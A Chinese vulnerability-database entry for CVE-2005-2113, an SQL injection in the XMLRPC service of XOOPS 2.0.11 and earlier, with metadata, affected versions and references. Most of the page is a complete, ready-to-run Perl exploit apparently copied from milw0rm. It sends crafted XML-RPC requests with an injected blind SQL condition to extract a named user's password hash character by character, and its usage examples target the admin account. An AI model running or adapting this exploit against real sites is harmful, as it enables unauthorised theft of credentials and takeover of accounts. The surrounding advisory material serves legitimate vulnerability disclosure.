XOOPS XMLRPC SQL注入漏洞
漏洞ID | 1108911 | 漏洞类型 | SQL注入 |
发布时间 | 2005-07-04 | 更新时间 | 2005-07-05 |
CVE编号 | CVE-2005-2113 |
CNNVD-ID | CNNVD-200507-010 |
漏洞平台 | PHP | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
XOOPS是一套开源得Web-CRM系统。XOOPS2.0.11及之前版本的XMLRPC服务中的loginUser函数存在SQL注入漏洞。远程攻击者可通过XML文件中的特制值执行任意SQL命令并绕过认证,例如使用blogger.getPost方法。
|漏洞EXP
#!/usr/bin/perl
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://www.gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ---------------------------------------------------------------
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ---------------------------------------------------------------
## [~] URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ---------------------------------------------------------------
## USER NAME : Alexxus
## USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ---------------------------------------------------------------
use LWP::UserAgent;
use Getopt::Std;
getopts('u:n:');
$url = $opt_u;
$name = $opt_n;
if(!$url || !$name) { &usage; }
$s_num = 1;
$|++;
$n = 0;
&head;
print "rn";
print " [~] URL : $urlrn";
print " [~] NAME : $namern";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]
---------------------------------------------------------------
USER NAME : $name
USER HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "bb FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$data = '<?xml version="1.0"?>';
$data .= '<methodCall>';
$data .= '<methodName>blogger.getUsersBlogs</methodName>';
$data .= '<params>';
$data .= '<param>';
$data .= '<value><string></string></value>';
$data .= '</param>';
$data .= '<param>';
$data .= '<value><string>'.$name.'' AND ascii(substring(pass,'.$s_num.',1))'.$ccheck.')/*</string></value>';
$data .= '</param>';
$data .= '</params>';
$data .= '</methodCall>';
$req = new HTTP::Request 'POST' => $url;
$req->content_type('application/xml');
$req->content($data);
$ua = new LWP::UserAgent;
$res = $ua->request($req);
$reply= $res->content;
if($reply =~ /Selected blog application does not exist/) { print "n [-] NEWS BLOG DOES NOT EXIST =(n [-] EXPLOIT FAILED!n"; exit(); }
if($reply =~ /User authentication failed/) { return 0; }
else { return 1; }
}
sub status()
{
$status = $n % 5;
if($status==0){ print "bb/]"; }
if($status==1){ print "bb-]"; }
if($status==2){ print "bb\]"; }
if($status==3){ print "bb|]"; }
}
sub usage()
{
&head;
print q(
USAGE:
r57xoops.pl [OPTIONS]
OPTIONS:
-u [URL] - path to xmlrpc.php
-n [USERNAME] - user for bruteforce
E.G.
r57xoops.pl -u http://server/xoops/xmlrpc.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-07-04]
|受影响的产品
Xoops Xoops 3.1.3
Xoops Xoops 2.0.10
Xoops Xoops 2.0.9
Xoops Xoops 2.0.7
Xoops Xoops 2.0.9.3
Xoops Xoops 2.0.9.2
Xoops Xoops 2.0.6
Xoops
|参考资料
来源:www.xoops.org
链接:http://www.xoops.org/modules/news/article.php?storyid=2383
来源:MISC
链接:http://www.gulftech.org/?node=research&article;_id=00086-06292005
来源:BUGTRAQ
名称:20050629XOOPS2.0.11&&EarlierMultipleVulnerabilities;
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112006318512991&w;=2
来源:SECUNIA
名称:15843
链接:http://secunia.com/advisories/15843
相关推荐: RedHat lpr/lpd Vulnerabilities
RedHat lpr/lpd Vulnerabilities 漏洞ID 1104560 漏洞类型 Race Condition Error 发布时间 1999-10-18 更新时间 1999-10-18 CVE编号 N/A CNNVD-ID N/A 漏洞平台 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666